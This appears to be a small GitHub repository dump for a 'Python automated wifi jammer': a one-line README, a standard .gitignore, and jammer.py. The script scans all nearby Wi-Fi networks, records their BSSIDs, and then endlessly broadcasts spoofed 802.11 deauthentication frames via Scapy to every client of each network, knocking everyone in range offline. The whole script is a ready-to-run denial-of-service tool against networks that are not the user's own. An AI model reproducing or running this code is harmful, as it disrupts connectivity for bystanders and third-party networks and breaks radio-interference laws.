├── README.md ├── .gitignore └── jammer.py /README.md: -------------------------------------------------------------------------------- 1 | # wifi-jammer 2 | Python automated wifi jammer 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | 55 | # Sphinx documentation 56 | docs/_build/ 57 | 58 | # PyBuilder 59 | target/ 60 | 61 | #Ipython Notebook 62 | .ipynb_checkpoints 63 | -------------------------------------------------------------------------------- /jammer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | ################################################################### 3 | # 4 | # Python Wifi Jammer 5 | # @mohammadaskar2 6 | # http://www.isecur1ty.org 7 | # 8 | ################################################################### 9 | from scapy.all import * 10 | from wifi import Cell 11 | import time 12 | import wireless 13 | 14 | wifi1 = wireless.Wireless() 15 | interface = wifi1.interface() 16 | 17 | all_wifi = Cell.all(interface) 18 | #print "SSID\t BSSID\t Channel\t Power\t" 19 | print "[+] scannig for networks .." 20 | bssid = [] 21 | time.sleep(2) 22 | for wi in all_wifi: 23 | print "SSID is : " + wi.ssid 24 | print "BSSID is : " + wi.address 25 | print "Channel is : " + str(wi.channel) 26 | print "Quality is : " + str(wi.quality) 27 | print "+" * 20 28 | bssid.append(wi.address) 29 | time.sleep(0.5) 30 | 31 | print "#" * 70 32 | 33 | def jam(address): 34 | conf.iface = "mon1" 35 | bssid = address 36 | client = "FF:FF:FF:FF:FF:FF" # 37 | count = 3 38 | conf.verb = 0 39 | packet = RadioTap()/Dot11(type=0,subtype=12,addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7) 40 | for n in range(int(count)): 41 | sendp(packet) 42 | print 'Deauth num '+ str(n) + ' sent via: ' + conf.iface + ' to BSSID: ' + bssid + ' for Client: ' + client 43 | while True: 44 | for item in bssid: 45 | print "Jamming on : {0}".format(item) 46 | jam(item) 47 | --------------------------------------------------------------------------------